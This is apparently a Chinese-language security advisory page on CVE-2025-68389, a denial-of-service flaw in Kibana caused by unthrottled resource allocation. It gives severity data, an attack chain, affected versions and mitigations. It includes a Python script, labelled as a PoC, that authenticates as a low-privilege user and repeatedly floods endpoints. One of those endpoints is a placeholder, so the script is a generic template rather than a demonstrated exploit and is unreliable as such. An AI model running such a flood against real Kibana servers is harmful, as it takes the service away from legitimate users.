IPBUF安全漏洞报告
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CVE-2025-68389 CVSS 6.5 中危

CVE-2025-68389: Kibana 资源分配无限制导致拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-68389
漏洞类型
资源耗尽/拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kibana

相关标签

CVE-2025-68389KibanaElastic资源耗尽拒绝服务CWE-770CAPEC-130DoS网络攻击低权限认证用户

漏洞概述

CVE-2025-68389是Elastic Kibana中的一个中等严重性安全漏洞,CVSS评分6.5。该漏洞属于CWE-770(资源分配无限制或无节流)类别,编号CAPEC-130(计算资源过度分配)。漏洞源于Kibana在处理HTTP请求时未对资源分配设置适当的限制或节流机制。攻击者可以是任何拥有低权限的已认证用户,通过向Kibana发送精心构造的恶意HTTP请求,利用此漏洞造成计算资源的过度分配。这可能导致Kibana进程出现拒绝服务(DoS)状态,使服务不可用。该漏洞主要影响可用性(Availability),对机密性和完整性影响较低或无影响。漏洞由Elastic安全团队([email protected])发现并报告,披露日期为2025年12月18日。攻击向量为网络层面(AV:N),无需用户交互(UI:N),但需要低权限认证(PR:L)。

技术细节

该漏洞的根本原因在于Kibana应用程序在处理特定类型的HTTP请求时缺乏适当的资源分配限制机制。攻击者作为低权限认证用户,可以发送包含特定参数的恶意HTTP请求。Kibana在解析和处理这些请求时,会分配大量的计算资源(如内存、CPU时间等),而应用程序未能实施有效的节流或限制措施。攻击者可以通过反复发送此类请求,累积消耗系统资源,最终导致Kibana进程无法正常响应其他合法用户的请求,造成拒绝服务。攻击成功的关键在于能够绕过或触发资源分配检查机制的漏洞点。防御方应实施请求速率限制、资源配额控制和超时机制,以防止资源被恶意耗尽。

攻击链分析

STEP 1
1
攻击者获取Kibana低权限账户并完成认证
STEP 2
2
攻击者识别存在资源分配限制缺失的API端点
STEP 3
3
攻击者构造包含特殊参数的恶意HTTP请求
STEP 4
4
Kibana处理请求时分配大量计算资源
STEP 5
5
攻击者重复发送请求,累积消耗系统资源
STEP 6
6
Kibana进程资源耗尽,无法响应正常请求
STEP 7
7
服务发生拒绝服务(DoS),导致可用性丧失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68389 PoC - Kibana Resource Exhaustion # Requires low-privilege authenticated user import requests import time TARGET = "https://kibana-host:5601" USERNAME = "low-privilege-user" PASSWORD = "password" # Authenticate to get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} auth_resp = session.post(f"{TARGET}/api/security/v1/login", json=login_data) if auth_resp.status_code != 200: print(f"Authentication failed: {auth_resp.status_code}") exit(1) print("Authenticated successfully") # Crafted request that triggers excessive resource allocation # The exact endpoint and parameters depend on the vulnerable code path malicious_endpoints = [ "/api/some/vulnerable/endpoint?large_param=value", "/api/console/proxy?path=/_search&method=POST", ] print("Sending crafted requests to exhaust resources...") for i in range(100): for endpoint in malicious_endpoints: try: resp = session.get(f"{TARGET}{endpoint}", timeout=5) print(f"Request {i}: {endpoint} - Status: {resp.status_code}") except requests.exceptions.Timeout: print(f"Request {i}: Timeout - Service may be exhausted") time.sleep(0.1) print("PoC execution completed")

影响范围

Kibana < 8.19.9
Kibana < 9.1.9
Kibana < 9.2.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制低权限用户对敏感API端点的访问;2)实施API网关层面的请求速率限制;3)配置Kibana资源使用监控和告警;4)限制认证用户的并发请求数量;5)考虑使用WAF过滤异常请求模式。建议尽快应用官方安全更新进行彻底修复。

参考链接

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